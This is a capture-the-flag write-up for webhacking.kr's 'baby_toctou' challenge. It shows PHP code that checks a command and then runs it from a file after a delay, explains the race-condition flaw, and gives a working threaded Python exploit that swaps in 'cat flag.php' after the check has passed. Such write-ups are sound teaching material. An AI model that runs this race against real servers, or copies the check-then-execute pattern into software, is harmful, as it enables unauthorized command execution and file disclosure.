Introduction

Link: http://webhacking.kr:10019/

I decided to give myself a try on this challenge which was solved my only 42 people at the time. I thought it would be a challenging (and interesting) one. In the end this one was not that hard, but surely an interesting one.

First look

<?php
  // system($_GET['q']);
  if(!preg_match('/^[a-f0-9]+$/',$_COOKIE['baby_toctou'])){ $newCookie = uniqid().rand(1,999999999); setcookie("baby_toctou",$newCookie); $_COOKIE['baby_toctou'] = $newCookie; }
  $cmd = $_GET['q'];
  $myfile = fopen("user/{$_COOKIE['baby_toctou']}.sh", "w") or die("Unable to open file!");
  fwrite($myfile, $cmd);
  fclose($myfile);
  if(($cmd === "ls") || ($cmd === "cat api.php") || ($cmd === "cat index.php")){ // valid check
    sleep(1); // my server is small and weak
    system("sh ./user/{$_COOKIE['baby_toctou']}.sh");
  }
  else{
    echo <<<HELP
only "ls", "cat api.php", "cat index.php" allowed
HELP;
  }
?>

This api.php simply writes the command you want to execute into a file named by the baby_toctou cookie. After writing the file, it checks the command before executing the file. Nothing’s wrong with the if check, so what could go wrong?

Race condition

Now what if we change the content of the file after the if condition successes? We have a generously 1 second for that.

But how can we? Isn’t the program running top-down?

What if we have 2 people P1 and P2, one executes, and one edits the content? Here’s the idea:

Step P1 P2
1 Writes ls to the file -
2 Passes the if check -
3 Waits 1 second before executing Writes cat flag.php to the file
4 Executes the file Fails the if check

Easy!

Exploitation

There’s not much to talk about this, but I’ll post my code here as a reference.

import requests, threading, time

def send(cmd):
    cookies = {
        'PHPSESSID': 'ofq76t3822i5ee1plskj2bafmt',
        'baby_toctou': 'abc91', # just a random string, anything will work
    }

    headers = {
        'Accept': '*/*',
        'Accept-Language': 'en-US,en;q=0.9',
        'Connection': 'keep-alive',
        # 'Cookie': 'PHPSESSID=ofq76t3822i5ee1plskj2bafmt; baby_toctou=abc91',
        'DNT': '1',
        'Referer': 'http://webhacking.kr:10019/',
        'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36',
    }

    params = {
        'q': cmd,
    }

    response = requests.get('http://webhacking.kr:10019/api.php', params=params, cookies=cookies, headers=headers, verify=False)
    print(response.text)

p1 = threading.Thread(target=send, args=('ls',))
p2 = threading.Thread(target=send, args=('cat flag.php',))


print('[info] getting in ...')

p1.start()
time.sleep(0.25)
p2.start()

Conclusion

This challenge helped me develop my sense of a non-linear attack. Always think of a multi-user situation!